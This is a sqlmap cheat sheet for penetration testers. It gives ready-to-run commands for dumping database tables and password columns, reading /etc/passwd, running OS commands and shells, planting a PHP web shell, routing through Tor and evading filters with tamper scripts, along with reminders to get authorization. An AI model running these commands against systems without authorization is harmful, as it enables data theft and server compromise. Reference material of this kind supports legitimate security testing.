**🛠️ SQLMap — Professional Cheat Sheet**

**Quick reference (most-used flags)**

# Target & general

-u URL # target URL (GET)

-d "param=val&… " # POST data (use with -u or alone)

--data='param=1&param2=2' # send POST body

--cookie='PHPSESSID=xxx' # send cookies

--headers='User-Agent:…,X:…' # custom headers

# Discovery / scan profile

--batch # non-interactive (use answers: default)

--level=1..5 # how deep to go (default 1)

--risk=1..3 # injection risk (default 1)

--threads=1..50 # concurrent threads

--timeout=10 # network timeout (sec)

--time-sec=5 # time delay for time-based

# Injection techniques

--technique=<letters> # e.g. --technique=BEUS (B=Boolean, E=Error, U=Union, S=Time)

# Enumeration

--banner # DBMS banner

--dbs # list databases

--tables -D <DB> # list tables in DB

--columns -D <DB> -T <tbl> # list columns

--dump -D <DB> -T <tbl> # dump table

--dump-all # dump everything

--search -T <tbl|col> -D <DB> -C <col> # search for string

# Targeted SQL / shells

--sql-query='<QUERY>' # run custom SQL query

--sql-shell # interactive SQL shell

--os-shell # interactive OS shell (if possible)

--os-cmd='id' # single OS command

--os-pwn # attempt to get a persistent shell / privilege escalation (use with caution)

--file-read=/etc/passwd # read file

--file-write=/tmp/shell.php --file-dest=/var/www/html/shell.php # write file (when allowed)

# Output / sessions / verbosity

--output-dir=/path # save results

--flush-session # remove stored session

--resume # resume previous session

-v 0..6 # verbosity (higher = more logs)

**Typical usage examples**

**1) Quick detection (GET)**

spiderfoot? no; sqlmap -u "http://example.com/page.php?id=1" --batch --threads=5 --level=2 --risk=1

**2) Enumerate DBs → tables → dump**

sqlmap -u "http://example.com/page.php?id=1" --dbs --batch

sqlmap -u "http://example.com/page.php?id=1" -D users\_db --tables --batch

sqlmap -u "http://example.com/page.php?id=1" -D users\_db -T users --columns --batch

sqlmap -u "http://example.com/page.php?id=1" -D users\_db -T users --dump --batch -C id,username,password

**3) POST form, custom headers, cookie auth**

sqlmap -u "http://example.com/login.php" --data="user=admin&pass=1234" --cookie="PHPSESSID=abcd" --headers="Referer: http://example.com/" --batch

**4) Custom SQL query (targeted)**

sqlmap -u "http://example.com/?id=1" --sql-query="SELECT COUNT(\*) FROM users" --batch

**5) Extract a file from the server**

sqlmap -u "http://example.com/?id=1" --file-read="/etc/passwd" --batch

**6) Run single OS command (if DBMS allows)**

sqlmap -u "http://example.com/?id=1" --os-cmd="whoami" --batch

**7) Run safely and quietly (low noise)**

sqlmap -u "http://example.com/?id=1" --batch --level=1 --risk=1 --threads=1 --timeout=15

**Auth & proxy examples**

# HTTP Basic auth

sqlmap -u "http://example.com/page.php?id=1" --auth-type=Basic --auth-cred="user:pass"

# NTLM

sqlmap -u ... --auth-type=NTLM --auth-cred="DOMAIN\\user:pass"

# Use Burp/Proxy

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080" --proxy-cred="user:pass"

# Use SOCKS/Tor

sqlmap -u ... --proxy="socks5://127.0.0.1:9050"

**Techniques (what they mean)**

* **Boolean-based (B)** — true/false responses to infer data. Reliable and stealthy.
* **Error-based (E)** — forces DB errors to extract data quickly (noisy).
* **Union-based (U)** — uses UNION SELECT to get data via normal responses (fast but depends on query structure).
* **Time-based (S)** — injects delays and measures response time (use when responses not visible).

Use: --technique=BEUS to try all four.

**Common tamper scripts (bypass filters)**

Use --tamper=script1,script2  
Common ones:

* space2comment — converts spaces to /\*\*/ comment style
* between — uses BETWEEN-based payloads
* charencode — encodes characters
* apostrophemask — mask single quotes
* randomcase — randomizes case to bypass naive filters
* suffixcomment — add comment suffixes
* hexencode — encode string as hex

(Exact tamper names on your system: ls /path/to/sqlmap/tamper or sqlmap --help.)

**DBMS-specific switches & notes**

| **DBMS** | **Tips / special** |
| --- | --- |
| MySQL | fast UNION/error/boolean; use --sql-shell or --os-cmd with INTO OUTFILE if writable |
| PostgreSQL | supports many functions; use --os-shell via COPY TO/FROM if possible |
| MSSQL | supports xp\_cmdshell for OS commands if enabled |
| Oracle | pay attention to DUAL usage and schema names (SYS, SYSDBA) |
| SQLite | local file db — sometimes easier to dump via file-read |
| MSSQL/Oracle | stacked queries may work for some payloads |

If you know DBMS: pass --dbms=mysql to speed up and tailor payloads.

**Output, sessions & automation**

# Save results to folder

sqlmap -u "http://..." --batch --output-dir=/root/sqlmap\_out

# Use sessions (resume later)

sqlmap -u "http://..." --batch # saves session

sqlmap --resume

# Non-interactive scripting

sqlmap -u "http://..." --batch --threads=10 --level=3 --risk=2 -o result.json

**Tips for real engagements / OPSEC**

* **Permission first.** Only test targets you own or have explicit authorization to test.
* Use --batch in scripts but double-check destructive flags (--os-pwn, file-write).
* Start low/noise: --level=1 --risk=1 --threads=1 then increase if authorized.
* Use API keys / authenticated sessions to avoid bruteforce blocking.
* Use proxies (Burp) to inspect payloads before running --batch.
* Use --tamper sparingly — try to understand the filter first.
* Be mindful of production impact: large dumps or heavy boolean scans can crash DB or app.
* Log everything in your report: command used, timestamps, session files, outputs.

**Troubleshooting & debug**

# Verbose output to debug injection

sqlmap -u "http://..." -v 3 --batch

# If time-based is unreliable, bump --time-sec

sqlmap -u "http://..." --technique=S --time-sec=10

# If target blocks common UA:

sqlmap -u "http://..." --random-agent

# If parameters hidden in JavaScript, use --crawl=DEPTH or intercept with Burp to capture exact request

sqlmap -u "http://example.com/" --crawl=2

**Quick safety checklist before you run**

* Permission / scope confirmed (in writing)
* Non-production or approved time window selected
* Backups exist (if testing production)
* Logging enabled and results stored securely
* Proxy (Burp) hooked if you need to replay/inspect payloads